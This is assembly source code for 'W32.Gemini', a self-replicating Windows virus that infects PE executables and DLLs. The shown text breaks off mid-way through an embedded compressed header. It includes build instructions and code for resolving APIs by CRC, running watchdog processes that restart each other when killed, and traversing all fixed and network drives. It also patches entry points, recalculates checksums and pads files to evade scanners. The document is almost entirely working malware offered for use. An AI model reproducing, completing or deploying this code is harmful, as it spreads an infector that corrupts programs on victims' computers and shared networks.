ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GEMINI.ASM]ÄÄÄ comment ;) W32.Gemini by roy g biv some of its features: - parasitic resident (own process) infector of PE exe/dll (but not looking at suffix) - co-operative processes (if one process is killed, the other will restart it) - infects files in all directories on all fixed and network drives - directory traversal is linked-list instead of recursive to reduce stack size - reloc section inserter/last section appender - auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me) - uses CRCs instead of API names - uses SEH for common code exit - section attributes are never altered (virus is not self-modifying) - no infect files with data outside of image (eg self-extractors) - infected files are padded by random amounts to confuse tail scanners - uses SEH walker to find kernel address (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm - plus some new code optimisations that were never seen before W32.EfishNC :) --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 gemini tlink32 /B:400000 /x gemini,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .486 .model flat extern GetCurrentProcess:proc extern WriteProcessMemory:proc extern MessageBoxA:proc extern ExitProcess:proc .data ;must be reverse alphabetical order because they are stored on stack ;API names are not present in replications, only in dropper expnames db "WriteFile" , 0 db "WinExec" , 0 db "SetFileAttributesA" , 0 db "MoveFileA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetWindowsDirectoryA", 0 db "GetTickCount" , 0 db "GetTempFileNameA" , 0 db "GetFileAttributesA" , 0 db "DeleteFileA" , 0 db "CreateFileA" , 0 db "CloseHandle" , 0 krnnames db "WaitForSingleObject" , 0 db "UnmapViewOfFile" , 0 db "Sleep" , 0 db "SetFileTime" , 0 db "SetFileAttributesW" , 0 db "SetFileAttributesA" , 0 db "SetEvent" , 0 db "SetCurrentDirectoryW", 0 db "SetCurrentDirectoryA", 0 db "ResetEvent" , 0 db "ReadProcessMemory" , 0 db "OpenProcess" , 0 db "OpenEventA" , 0 db "MultiByteToWideChar" , 0 db "MapViewOfFile" , 0 db "LoadLibraryA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetVersion" , 0 db "GetTickCount" , 0 db "GetStartupInfoA" , 0 db "GetFullPathNameW" , 0 db "GetFullPathNameA" , 0 db "GetDriveTypeA" , 0 db "GetCurrentProcessId" , 0 db "GetCommandLineA" , 0 db "FindNextFileW" , 0 db "FindNextFileA" , 0 db "FindFirstFileW" , 0 db "FindFirstFileA" , 0 db "FindClose" , 0 db "CreateThread" , 0 db "CreateProcessA" , 0 db "CreateFileW" , 0 db "CreateFileMappingA" , 0 db "CreateFileA" , 0 db "CreateEventA" , 0 db "CloseHandle" , 0 sfcnames db "SfcIsFileProtected", 0 exename equ "gemini" ;must be < 8 bytes long else code change txttitle db "Gemini", 0 txtbody db "running...", 0 include gemini.inc patch_host label near pop ecx push ecx call $ + 5 pop eax add eax, offset host_patch - offset $ + 6 sub ecx, eax push ecx mov eax, esp xor edi, edi push edi push 4 push eax push offset host_patch + 1 push esi call WriteProcessMemory jmp gemini_inf ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;virus code begins here in dropped exe ;----------------------------------------------------------------------------- gemini_exe proc near call walk_seh ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near ;place < 80h bytes from call for smaller code dd (krncrc_count + 1) dup (0) krncrcend label near dd offset swap_create - offset krncrcend + 4 db "Gemini - roy g biv" ;two heads are better than one walk_seh label near xor esi, esi lods dword ptr fs:[esi] inc eax seh_loop label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne seh_loop lods dword ptr [esi] ;----------------------------------------------------------------------------- ;moved label after some data because "e800000000" looks like virus code ;) ;----------------------------------------------------------------------------- init_findmz label near inc eax xchg edi, eax find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expordbase] lods dword ptr [esi] ;Ordinal Base lea ebp, dword ptr [eax * 2 + ebx] lods dword ptr [esi] lods dword ptr [esi] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA add ebp, dword ptr [esi] ;Ordinal Table RVA lea ecx, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 4] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export add edi, dword ptr [edi + 4] jmp edi csum db 'r' ;altered to give sum == 1 ;----------------------------------------------------------------------------- ;swap CreateFileW and CreateFileMappingA because of alphabet order ;----------------------------------------------------------------------------- swap_create label near mov dword ptr [edi + offset store_krnapi - offset swap_create + 3], esp mov ebx, esp mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA] xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax ;----------------------------------------------------------------------------- ;get SFC support if available ;----------------------------------------------------------------------------- call load_sfc db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll) load_sfc label near call cLoadLibraryA test eax, eax jne found_sfc push 'cfs' ;Windows Me/2000 push esp call cLoadLibraryA pop ecx test eax, eax je sfcapi_esp found_sfc label near push edi call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin label near ;place < 80h bytes from call for smaller code dd (sfccrc_count + 1) dup (0) sfccrcend label near dd offset sfcapi_pop - offset sfccrcend + 4 sfcapi_pop label near pop eax pop edi sfcapi_esp label near mov dword ptr [edi + offset store_sfcapi - offset swap_create + 1], eax mov ecx, offset gemini_codeend - offset gemini_exe lea esi, dword ptr [edi + offset gemini_exe - offset swap_create] xor al, al calc_sum label near add al, byte ptr [esi] inc esi loop calc_sum dec eax sub byte ptr [edi + offset csum - offset swap_create], al push eax push esp xor esi, esi push esi push esi call create_thr1 ;----------------------------------------------------------------------------- ;thread 1: infect files on all fixed and remote drive letters ;----------------------------------------------------------------------------- find_drives proc near mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk drive_loop label near push eax push esp push (krncrcstk.kGetDriveTypeA - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi sub al, DRIVE_FIXED je drive_set xchg ecx, eax loop drive_next ;loop if not DRIVE_REMOTE ;if I were you, you were me ;I wonder who I'd wanna be ;with just one wish you can't refuse ;I wouldn't know what to choose drive_set label near push esp call cSetCurrentDirectoryA call find_files drive_next label near pop eax inc eax cmp al, 'Z' + 1 jne drive_loop push 10 * 60 * 1000 ;10 minutes call cSleep jmp find_drives find_drives endp create_thr1 label near push esi push esi call cCreateThread ;----------------------------------------------------------------------------- ;alg for process 1 |alg for process 2 ;if argc == 1 |if argc == 1 ;{ |{ ; pid1 = GetCurrentProcessId | always false for process 2 ; do | ; { | ; CreateEventA(event1, true) | ; CreateEventA(event2, false) | ; pid2 = CreateProcessA(process2, pid1, event 1, event 2) ; WaitForSingleObject(event2, timeout) | ;restart: | ; CloseHandle(event2) | ; CloseHandle(event1) | ; } | ; while !signal | ;} |} ;OpenProcess(pid2) |OpenProcess(pid1) ;OpenEventA(event1) |OpenEventA(event1) ;OpenEventA(event2) |OpenEventA(event2) ;do |do ;{ |{ ; if WaitForSingleObject(event1, 0) | if WaitForSingleObject(event2, 0) ; break | break ; ResetEvent(event2) | ResetEvent(event1) ; if !checksum(pid2) | if !checksum(pid1) ; break | break ; SetEvent(event1) | SetEvent(event2) ; Sleep(sleeplen) | Sleep(sleeplen) ;} |} ;while WaitForSingleObject(event2, timeout) |while WaitForSingleObject(event1, timeout) ;CloseHandle(pid2) |CloseHandle(pid1) ;goto restart |goto restart (and process 2 becomes process 1) ;----------------------------------------------------------------------------- enter MAX_PATH + 32, 0 ;pathname, pid, event1, event2 get_cmdline label near push (krncrcstk.kGetCommandLineA - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi xchg esi, eax mov edi, esp mov ah, '"' lods byte ptr [esi] stos byte ptr [edi] cmp al, ah je find_argv mov ah, ' ' find_argv label near lods byte ptr [esi] stos byte ptr [edi] test al, al je no_argv cmp al, ah jne find_argv find_argv1 label near mov edx, esi lods byte ptr [esi] ;the unpredictable case: cmp al, ' ' ;how many spaces? je find_argv1 ;can be 0, 1, or 2 xor ecx, ecx dec esi inc edi no_argv label near xor ebx, ebx mov byte ptr [esi - 1], bl ;no args for restart dec edi test al, al mov al, ' ' stos byte ptr [edi] jne skip_argv1 mov ebp, esp push (krncrcstk.kGetCurrentProcessId - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi xchg ecx, eax push edi call hexdwd2asc inc edi call cGetTickCount push eax xchg ecx, eax call create_event pop ecx push eax ;CloseHandle rol ecx, 1 call create_event pop ecx pop edi push ebx ;init continue flag push ecx push eax ;CloseHandle push TIMEOUT * 1000 ;WaitForSingleObject push eax ;WaitForSingleObject sub esp, size processinfo mov edx, esp sub esp, size startupinfo mov ecx, esp push edx push ecx push ebx push ebx push ebx push ebx push ebx push ebx push ebp push ebx push ecx push (krncrcstk.kGetStartupInfoA - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi push (krncrcstk.kCreateProcessA - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi add esp, size startupinfo + processinfo.pidwProcessId pop ebx pop eax call cWaitForSingleObject test eax, eax setz byte ptr [esp + 8] ;store continue flag restart label near call cCloseHandle call cCloseHandle pop eax test eax, eax branch_cmd label near je get_cmdline mov ecx, ebx ;remote PID mov esi, edi skip_argv1 label near movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs byte ptr [edi], byte ptr [esi] find_argv2 label near mov ebp, edi ;argv2 movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] inc esi xor al, al stos byte ptr [edi] mov ebx, edi ;argv3 movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] stos byte ptr [edi] inc ecx loop skip_pid call asc2hex xchg ebp, ebx ;swap event order for remote process skip_pid label near push ecx xor edi, edi push edi push PROCESS_VM_READ push (krncrcstk.kOpenProcess - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi test eax, eax je branch_cmd push edi ;clear continue flag push eax ;CloseHandle push ebx push edi mov eax, EVENT_MODIFY_STATE or SYNCHRONIZE push eax push ebp push edi push eax call cOpenEventA xchg esi, eax ;event1 call cOpenEventA xchg edi, eax ;event2 ;sing with me just for today ;maybe tomorrow the good Lord will take you away main_loop label near push 0 push esi call cWaitForSingleObject ;ensure local event reset by remote process xchg ecx, eax jecxz shutdown ;still signalled push edi push (krncrcstk.kResetEvent - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi ;local process checksums remote process ;remote process checksums local process pop eax push eax enter (offset gemini_codeend - offset gemini_exe + 3) and -4, 0 mov ecx, esp push eax push esp push offset gemini_codeend - offset gemini_exe push ecx push 401000h + expsize push eax push (krncrcstk.kReadProcessMemory - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi pop ecx jecxz shutdown ;read failure xor eax, eax check_sum label near add al, byte ptr [esp] inc esp loop check_sum leave xchg ecx, eax loop shutdown push esi push (krncrcstk.kSetEvent - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi push SLEEPLEN * 1000 call cSleep push TIMEOUT * 1000 push edi call cWaitForSingleObject xchg ecx, eax jecxz main_loop ;signalled in time ;if one process is killed, then one more process will start ;if one process is altered, then two more processes will start! ;like the Sorceror's Apprentice ;) shutdown label near call cCloseHandle push esi push edi jmp restart skip_spaces proc near mov ecx, edi lods byte ptr [esi] stos byte ptr [edi] cmp al, ' ' je skip_spaces ret skip_spaces endp asc2hex proc near xor ecx, ecx mov esi, edx asc2hex_loop label near lods byte ptr [esi] sub al, '0' jb asc2hex_ret cmp al, 9 jbe asc2hex_add sub al, 7 asc2hex_add label near shl ecx, 4 or cl, al jmp asc2hex_loop asc2hex_ret label near ret asc2hex endp create_event proc near mov al, ' ' dec edi stos byte ptr [edi] push edi ;CreateEventA call hexdwd2asc xor al, al stos byte ptr [edi] push ebx push esp ;non-zero push ebx push (krncrcstk.kCreateEventA - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi ret hexdwd2asc proc near call hexwrd2asc call hexwrd2asc call hexwrd2asc hexwrd2asc proc near rol ecx, 8 mov eax, ecx aam 10h call hexbyt2asc hexbyt2asc proc near xchg ah, al cmp al, 0ah sbb al, 69h das stos byte ptr [edi] ret hexbyt2asc endp hexwrd2asc endp hexdwd2asc endp create_event endp ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- find_files proc near push size findlist push GMEM_ZEROINIT call cGlobalAlloc test eax, eax je file_exit xchg esi, eax call get_krnapis file_first label near push '*' ;ANSI-compatible Unicode findmask mov eax, esp lea ebx, dword ptr [esi + findlist.finddata] push ebx push eax call dword ptr [ebp + krncrcstk.kFindFirstFileW] pop ecx mov dword ptr [esi + findlist.findhand], eax inc eax je file_prev ;you must always step forward from where you stand test_dirfile label near mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes] lea edi, dword ptr [esi + findlist.finddata.cFileName] test al, FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je file_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push edi call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz file_next push size findlist push GMEM_FIXED call cGlobalAlloc xchg ecx, eax jecxz step_updir xchg esi, ecx mov dword ptr [esi + findlist.findprev], ecx jmp file_first file_exit label near ret file_next label near lea ebx, dword ptr [esi + findlist.finddata] push ebx mov edi, dword ptr [esi + findlist.findhand] push edi call dword ptr [ebp + krncrcstk.kFindNextFileW] test eax, eax jne test_dirfile ;----------------------------------------------------------------------------- ;close find, and free list node ;----------------------------------------------------------------------------- push edi mov al, (krncrcstk.kFindClose - krncrcstk.kWaitForSingleObject) shr 2 call store_krnapi file_prev label near push esi mov esi, dword ptr [esi + findlist.findprev] call cGlobalFree test esi, esi je file_exit step_updir label near ;----------------------------------------------------------------------------- ;the ANSI string ".." can be used, even on Unicode platforms ;----------------------------------------------------------------------------- push '..' push esp call cSetCurrentDirectoryA pop eax jmp file_next test_file label near ;----------------------------------------------------------------------------- ;get full path and convert to Unicode if required (SFC requires Unicode path) ;----------------------------------------------------------------------------- push eax ;save original file attributes for close mov eax, ebp enter MAX_PATH * 2, 0 mov ecx, esp push eax push esp push ecx push MAX_PATH push edi call dword ptr [eax + krncrcstk.kGetFullPathNameW] xchg edi, eax pop eax xor ebx, ebx call cGetVersion test eax, eax jns store_sfcapi ;did you dream you were together and wake up alone? mov ecx, esp xchg ebp, eax enter MAX_PATH * 2, 0 xchg ebp, eax mov eax, esp push MAX_PATH push eax inc edi push edi push ecx push ebx ;use default translation push ebx ;CP_ANSI push (krncrcstk.kMultiByteToWideChar - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi store_sfcapi label near ;----------------------------------------------------------------------------- ;don't touch protected files ;----------------------------------------------------------------------------- mov ecx, '!bgr' ;SfcIsFileProtected xor eax, eax ;fake success in case of no SFC jecxz leave_sfc push esp push ebx call ecx leave_sfc label near leave test eax, eax jne restore_attr call set_fileattr push ebx push ebx ;attribute ignored for existing files push OPEN_EXISTING push ebx push ebx push GENERIC_READ or GENERIC_WRITE push edi call dword ptr [ebp + krncrcstk.kCreateFileW] xchg ebx, eax call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) close_file label near ;label required for delta offset lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime] push eax sub eax, 8 push eax sub eax, 8 push eax push ebx push (krncrcstk.kSetFileTime - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi push ebx call cCloseHandle restore_attr label near pop ebx ;restore original file attributes call set_fileattr jmp file_next find_files endp ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr proc near ;edi -> map view cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne pehdr_ret mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret label near ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set is_pehdr endp ;----------------------------------------------------------------------------- ;reset/set read-only file attribute ;----------------------------------------------------------------------------- set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs push ebx lea edi, dword ptr [esi + findlist.finddata.cFileName] push edi call dword ptr [ebp + krncrcstk.kSetFileAttributesW] ret ;edi -> filename db "14/02/02" ;missing her on Valentine's Day set_fileattr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs call map_view mov ebp, esi call is_pehdr jne inftest_ret lods dword ptr [esi] cmp ax, IMAGE_FILE_MACHINE_I386 jne inftest_ret ;only Intel 386+ shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect) mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;----------------------------------------------------------------------------- test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8 jne inftest_ret add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate ;----------------------------------------------------------------------------- ;if file is a .dll, then we require an entry point function ;----------------------------------------------------------------------------- lods dword ptr [esi] xchg ecx, eax test ah, IMAGE_FILE_DLL shr 8 je test_system jecxz inftest_ret ;----------------------------------------------------------------------------- ;32-bit executable file... ;----------------------------------------------------------------------------- test_system label near and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE jne inftest_ret ;cannot use xor+jpo because 0 is also jpe ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase] cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0 jne inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase] add eax, edx lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize] lods dword ptr [esi] add eax, dword ptr [esi] cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax jne inftest_ret ;file contains appended data inc dword ptr [esp + mapsehstk.mapsehinfret] ;skip call mask inftest_ret label near int 3 ;----------------------------------------------------------------------------- ;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes) ;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged ;----------------------------------------------------------------------------- open_append proc near call cGetTickCount and eax, RANDPADMAX - 1 add ax, small (offset gemini_codeend - offset gemini_exe + RANDPADMIN) ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow] xor ecx, ecx push eax push eax ;MapViewOfFile push ecx ;MapViewOfFile push ecx ;MapViewOfFile push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS push ecx push eax push ecx push PAGE_READWRITE push ecx push ebx push (krncrcstk.kCreateFileMappingA - krncrcstk.kWaitForSingleObject) shr 2 pop eax ;ANSI map is allowed because of no name call store_krnapi push eax xchg edi, eax push (krncrcstk.kMapViewOfFile - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi pop ecx xchg edi, eax ;should succeed even if file cannot be opened pushad call unmap_seh mov esp, dword ptr [esp + sehstruc.sehprevseh] xor eax, eax pop dword ptr fs:[eax] pop eax popad ;SEH destroys all registers push eax push edi push (krncrcstk.kUnmapViewOfFile - krncrcstk.kWaitForSingleObject) shr 2 pop eax call store_krnapi call cCloseHandle pop eax ret unmap_seh proc near cdq push dword ptr fs:[edx] mov dword ptr fs:[edx], esp jmp dword ptr [esp + mapsehstk.mapsehsehret] unmap_seh endp map_view endp ;eax = map handle, ecx = new file size, edi = map view open_append endp ;----------------------------------------------------------------------------- ;determine platform and dynamically select function types (ANSI or Unicode) ;----------------------------------------------------------------------------- get_krnapis proc near ;place near to jump table for smaller code call cGetVersion krnapi_delta label near shr eax, 1fh mov ecx, dword ptr [esp - 4] ;no stack change in ring 3 mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3] lea ebp, dword ptr [eax * 4 + ecx] ret get_krnapis endp ;----------------------------------------------------------------------------- ;indexed API jump table ;----------------------------------------------------------------------------- cWaitForSingleObject proc near xor eax, eax jmp store_krnapi cWaitForSingleObject endp cSleep proc near push (krncrcstk.kSleep - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cSleep endp cSetCurrentDirectoryA proc near push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cSetCurrentDirectoryA endp cOpenEventA proc near push (krncrcstk.kOpenEventA - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cOpenEventA endp cLoadLibraryA proc near push (krncrcstk.kLoadLibraryA - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cLoadLibraryA endp cGlobalFree proc near push (krncrcstk.kGlobalFree - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cGlobalFree endp cGlobalAlloc proc near push (krncrcstk.kGlobalAlloc - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cGlobalAlloc endp cGetVersion proc near push (krncrcstk.kGetVersion - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cGetVersion endp cGetTickCount proc near push (krncrcstk.kGetTickCount - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cGetTickCount endp cCreateThread proc near push (krncrcstk.kCreateThread - krncrcstk.kWaitForSingleObject) shr 2 jmp call_krncrc cCreateThread endp cCloseHandle proc near push (krncrcstk.kCloseHandle - krncrcstk.kWaitForSingleObject) shr 2 cCloseHandle endp call_krncrc proc near pop eax store_krnapi label near jmp dword ptr [eax * 4 + '!bgr'] call_krncrc endp ;----------------------------------------------------------------------------- ;infect file in two parts ;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX ; bytes) to confuse scanners that look at end of file (also ; infection marker) ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ; entry point is altered to point to some code. very simple ; however, that code just drops exe and returns ; exe contains infection routine ;----------------------------------------------------------------------------- infect_file label near ;esi -> findlist, edi = map view call open_append delta_label label near push ecx push edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum] imul eax, eax, size pesect movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] add eax, ecx lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize] lods dword ptr [esi] mov cx, offset gemini_codeend - offset gemini_exe mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum] push eax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff label near test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax jnb copy_code add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx pop eax push esi add edi, dword ptr [esi] lea esi, dword ptr [edi + eax - 1] lea edi, dword ptr [esi + ecx] xchg ecx, eax std rep movs byte ptr [edi], byte ptr [esi] cld pop esi pop edi push edi push ecx xchg ecx, eax copy_code label near pop edx add ebp, edx xchg ebp, eax add edx, dword ptr [esi] add edi, edx lea edx, dword ptr [eax + ecx] mov esi, offset gemini_exe - offset delta_label add esi, dword ptr [esp + infectstk.infseh.mapsehinfret] ;delta offset rep movs byte ptr [edi], byte ptr [esi] ;----------------------------------------------------------------------------- ;alter entry point ;----------------------------------------------------------------------------- add eax, offset gemini_inf - offset gemini_exe xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax sub eax, edx mov dword ptr [edi + offset host_patch - offset gemini_codeend + 1], eax pop edi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xchg dword ptr [ebx], ecx jecxz infect_ret xor eax, eax pop ecx push ecx inc ecx shr ecx, 1 clc calc_checksum label near adc ax, word ptr [edi] inc edi inc edi loop calc_checksum pop dword ptr [ebx] adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD infect_ret label near int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this test_infect endp ;----------------------------------------------------------------------------- ;virus code begins here in infected files ;----------------------------------------------------------------------------- gemini_inf label near pushad call walk_seh ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- expcrcbegin label near ;place < 80h bytes from call for smaller code dd (expcrc_count + 1) dup (0) expcrcend label near dd offset drop_exp - offset expcrcend + 4 explabel label near db exename, ".exe", 0 db 0ch - (offset $ - offset explabel) dup (0) expsize equ 0d4h ;RLE-based compressed MZ header, PE header, import table, section table dd 11111111110000011100001011100000b ; mmmmmmmmmmz 01mmz 02mmm db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1 dd 00000110000111100001001010010000b ; z 01mz 03mmz 02r 04m db 2, 2ch, 10h, 88h dd 00000111110100100001001000111110b ; z 01mmmmr 02z 04mz 07mm db 0fh, 3, 0bh, 1, 56h, expsize, 10h dd 00001001010010001011000010100001b ; z 02r 04mz 05mz 02mz 02 db 0ch, 40h, 10h 